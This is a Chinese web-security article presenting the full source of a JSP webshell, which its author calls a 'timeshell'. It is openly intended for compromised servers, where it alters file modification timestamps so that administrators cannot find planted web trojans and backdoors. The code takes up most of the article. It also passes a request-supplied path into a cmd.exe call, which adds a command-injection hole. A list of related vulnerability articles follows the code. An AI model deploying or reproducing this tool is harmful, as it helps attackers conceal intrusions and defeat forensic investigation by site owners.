JSP 修改文件时间的WEBSHELL

所属分类: 网络安全 / 漏洞分析 阅读数: 169
收藏 0 赞 0 分享
JSP 修改文件时间的WEBSHELL
很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。
昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!
主要功能:
1.文件的时间属性查看,包括修改时间与创建时间;
2.文件修改时间的修改,精确到秒;
代码如下:
(Apache Tomcat/6.0.18下运行通过!)

复制代码
代码如下:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
更多精彩内容其他人还在看

Uread阅读器拒绝服务漏洞的分析与解决

Uread阅读器在远程或本地打开文件名过长(大于或等于129个字符)的upub等文件时将引起uread.exe程序无法正常工作,必须重新启动uread.exe进程方可。
收藏 0 赞 0 分享

淇晨科技网站管理系統默认漏洞的分析

分析一下一个网站的漏洞
收藏 0 赞 0 分享

Kesion cms注入漏洞分析及其修复方案

Kesion cms注入漏洞.我们来分析一下
收藏 0 赞 0 分享

中关村在线博客子站SQL注入及修复方案

分析一下中关村的博客的漏洞
收藏 0 赞 0 分享

时时送订单系统后台登陆框post注入的方法介绍以及修复方案

通过post注入来研究一下漏洞
收藏 0 赞 0 分享

KindEditor上传解析漏洞、列目录、内容漏洞

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器,但是安全问题也不容忽视,下面来简单分析下
收藏 0 赞 0 分享

服务器上网站被挂Iframe木马的解决方法

今天访问公司的一个网站,突然发现网页显示不对,右键查看HTML代码,发现iframe了一个网站的js文件,不用说,肯定被挂马了
收藏 0 赞 0 分享

WordPress 4.0以下版本存在跨站脚本漏洞

WordPress是著名的开源CMS(内容管理)系统。近日,在4.0版本以下的Wordpress被发现存在跨站脚本漏洞(XSS),新版本的Wordpress已经修复了这些问题。为了安全起见,建议站长们尽早更新到WP新版本。
收藏 0 赞 0 分享

历史悠久的3个经典网站安全漏洞介绍

这篇文章主要介绍了历史悠久的3个经典网站安全漏洞介绍,互联网项目里边,SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久,本文就一一介绍了它们的原理等,需要的朋友可以参考下
收藏 0 赞 0 分享

Kindeditor遍历目录0DAY问题

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器
收藏 0 赞 0 分享
查看更多